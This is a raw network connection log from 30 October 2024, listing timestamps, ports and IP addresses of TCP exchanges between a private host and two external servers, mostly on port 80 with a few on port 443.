Oct 30, 2024 11:47:02.294585943 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.294647932 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.328397989 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.328476906 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.328510046 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.328555107 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.328557014 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.328660965 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.328674078 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.328687906 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.328696012 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.328700066 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.328708887 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.328715086 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.328726053 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.328738928 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.328738928 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.328753948 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.328771114 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.333846092 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.333859921 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.333915949 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.334055901 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.334100962 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.334131002 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.334218979 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.367697001 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.367710114 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.367731094 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.367742062 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.367753983 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.367754936 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.367770910 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.367784977 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.367796898 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.367800951 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.367815018 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.367819071 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.367827892 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.367832899 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.367871046 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.367954016 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.367995977 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368007898 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368042946 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.368047953 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368060112 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368083000 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.368164062 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368208885 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368221998 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368247986 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.368257999 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368271112 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368274927 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.368284941 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368309021 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.368474007 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368485928 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368498087 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368518114 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.368542910 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.368561029 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368572950 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368583918 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368603945 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.368663073 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368674994 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368685961 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368707895 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368707895 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.368724108 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368730068 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.368736029 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.368752956 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.369096041 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369107962 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369124889 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369143963 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369147062 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.369158030 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369165897 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.369169950 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369184017 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369198084 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.369201899 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369214058 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369225025 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369237900 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369237900 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.369251013 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369268894 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.369879007 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369890928 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369903088 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369915009 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.369925022 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.369945049 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.409909964 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.409931898 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.409941912 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.409995079 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.410238981 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410264015 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410274029 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410310984 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.410588980 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410599947 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410618067 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410631895 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410643101 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410659075 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.410691977 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.410695076 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410707951 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410718918 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410753012 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.410773993 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410799980 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410810947 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410844088 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.410859108 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.410934925 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410948038 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410960913 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.410973072 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.411000967 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.411026001 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.484312057 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484324932 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484334946 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484348059 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484359980 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484369040 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.484371901 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484386921 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484405041 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.484432936 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.484457970 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484468937 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484504938 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.484599113 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484611034 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484627962 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484638929 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484651089 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.484651089 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484664917 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484672070 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.484688997 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.484785080 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484795094 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484806061 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484843016 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.484849930 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484862089 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484935999 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.484936953 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484950066 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.484986067 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.484994888 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485006094 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485042095 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.485121012 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485137939 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485151052 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485183001 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485189915 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.485194921 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485232115 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.485404968 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485415936 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485434055 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485440969 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.485443115 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485455990 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485467911 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485474110 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.485481024 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485501051 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.485522032 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.485596895 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485610008 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485621929 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485641956 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.485688925 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485699892 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485711098 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485722065 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485733032 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485735893 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.485763073 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.485927105 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485944033 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485955000 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.485996008 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.485999107 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.486011982 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.486027956 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.486042023 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.486057997 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.486066103 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.486073971 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.486084938 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.486097097 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.486104965 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.486109972 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.486120939 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.486136913 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.486160040 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.487930059 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.487942934 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.487952948 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.487963915 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.487984896 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.488024950 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.488282919 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.488293886 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.488306046 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.488317013 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.488328934 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.488332033 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.488348961 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.488363981 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.489099026 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.489149094 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.489160061 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.489168882 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.489191055 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.489191055 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.489198923 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.489227057 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.489259958 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.490015030 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.490025997 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.490036964 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.490053892 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.490057945 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.490065098 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.490076065 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.490091085 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.490114927 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.490849018 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.490902901 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.490971088 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.490982056 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.490993977 CET	80	58207	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.491017103 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.491046906 CET	58207	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.526835918 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.526859999 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.526871920 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527194023 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.527400017 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527412891 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527422905 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527445078 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.527479887 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.527525902 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527607918 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527626038 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527638912 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527651072 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527682066 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.527708054 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527720928 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527740002 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527743101 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.527751923 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527764082 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527786970 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.527816057 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.527966022 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527976990 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.527988911 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.528000116 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.528017044 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.528032064 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.565429926 CET	443	58208	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:02.565529108 CET	58208	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:02.585850000 CET	58208	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:02.585880995 CET	443	58208	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:02.586776018 CET	443	58208	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:02.588844061 CET	58208	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:02.589070082 CET	58208	443	192.168.2.7	188.114.96.3
Oct 30, 2024 11:47:02.589112043 CET	443	58208	188.114.96.3	192.168.2.7
Oct 30, 2024 11:47:02.601130962 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601309061 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601321936 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601361036 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601363897 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.601407051 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.601464987 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601478100 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601514101 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.601515055 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601528883 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601541042 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601561069 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601562023 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.601581097 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601593971 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601614952 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601619005 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.601634026 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601644039 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.601644993 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601665020 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601665020 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.601679087 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601690054 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601701021 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601712942 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.601718903 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601732969 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601741076 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.601744890 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601753950 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.601763010 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601775885 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601785898 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.601788044 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.601828098 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.601982117 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.602029085 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.602041960 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.602072954 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.602087975 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.602113008 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.602144957 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.602154016 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.602157116 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.602166891 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.602194071 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.602232933 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.602243900 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.602257013 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.602267981 CET	80	58204	185.215.113.16	192.168.2.7
Oct 30, 2024 11:47:02.602283001 CET	58204	80	192.168.2.7	185.215.113.16
Oct 30, 2024 11:47:02.602310896 CET	58204	80	192.168.2.7	185.215.113.16
